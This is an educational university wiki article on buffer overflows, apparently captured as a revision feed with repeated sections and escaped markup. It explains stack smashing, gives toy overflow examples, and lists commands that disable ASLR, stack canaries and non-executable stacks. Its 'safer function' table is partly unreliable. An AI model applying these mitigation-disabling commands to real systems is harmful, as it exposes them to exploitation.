If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br /&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
A program may not know at compile time how much memory it will need. Such segments can be allocated dynamically, during runtime, and will be placed on the heap.&lt;br /&gt;
Special system calls brk() and mmap() can be used by Linux programs to achieve that.&lt;br /&gt;
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper functions around these system calls and help managing those memory segments. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To be efficient, any malloc() implementation stores a&lt;br /&gt;
lot of meta-data about the location of the chunks, the size of the chunks, and perhaps&lt;br /&gt;
some special areas for small chunks. It also organizes this information. In dlmalloc, it is&lt;br /&gt;
organized into buckets, and in many other malloc implementations it is organized into&lt;br /&gt;
a balanced tree structure. This information is stored in two places: in global variables&lt;br /&gt;
used by the malloc() implementation itself, and in the memory block before and / or&lt;br /&gt;
after the allocated user space. Thus, the heap contains important information about&lt;br /&gt;
the state of memory stored directly after any user-allocated buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Further Reading === &lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16993</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16993"/>
		<updated>2024-12-11T17:16:36Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Types of Buffer Overflow Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT/Embedded Devices ===&lt;br /&gt;
&amp;quot;The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks.&amp;quot; &amp;lt;ref name=””&amp;gt; G. Mullen and L. Meany, &amp;quot;Assessment of Buffer Overflow Based Attacks On an IoT Operating System,&amp;quot; 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex concepts, introducing the mechanics and control structures of each memory region and how they could potentially be exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack&#039;s mechanics and control structures in the later section &amp;quot;Stack-based Buffer Overflow&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Console output running the program (bash).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Before overflow: A = 0000000, B = 03&lt;br /&gt;
After overflow: A = excessive, B = e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory before the overflow (gdb). &lt;br /&gt;
The memory addresses on the left are the locations of the two buffers.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x30  0x30  0x30  0x30  0x30  0x30  0x30  0x00&lt;br /&gt;
0xffffcc8d:  0x30  0x33  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory after the overflow (gdb).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x65  0x78  0x63  0x65  0x73  0x73  0x69  0x76&lt;br /&gt;
0xffffcc8d:  0x65  0x00  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br /&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
A program may not know at compile time how much memory it will need. Such segments can be allocated dynamically, during runtime, and will be placed on the heap.&lt;br /&gt;
Special system calls brk() and mmap() can be used by Linux programs to achieve that.&lt;br /&gt;
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper functions around these system calls and help managing those memory segments. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To be efficient, any malloc() implementation stores a&lt;br /&gt;
lot of meta-data about the location of the chunks, the size of the chunks, and perhaps&lt;br /&gt;
some special areas for small chunks. It also organizes this information. In dlmalloc, it is&lt;br /&gt;
organized into buckets, and in many other malloc implementations it is organized into&lt;br /&gt;
a balanced tree structure. This information is stored in two places: in global variables&lt;br /&gt;
used by the malloc() implementation itself, and in the memory block before and / or&lt;br /&gt;
after the allocated user space. Thus, the heap contains important information about&lt;br /&gt;
the state of memory stored directly after any user-allocated buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
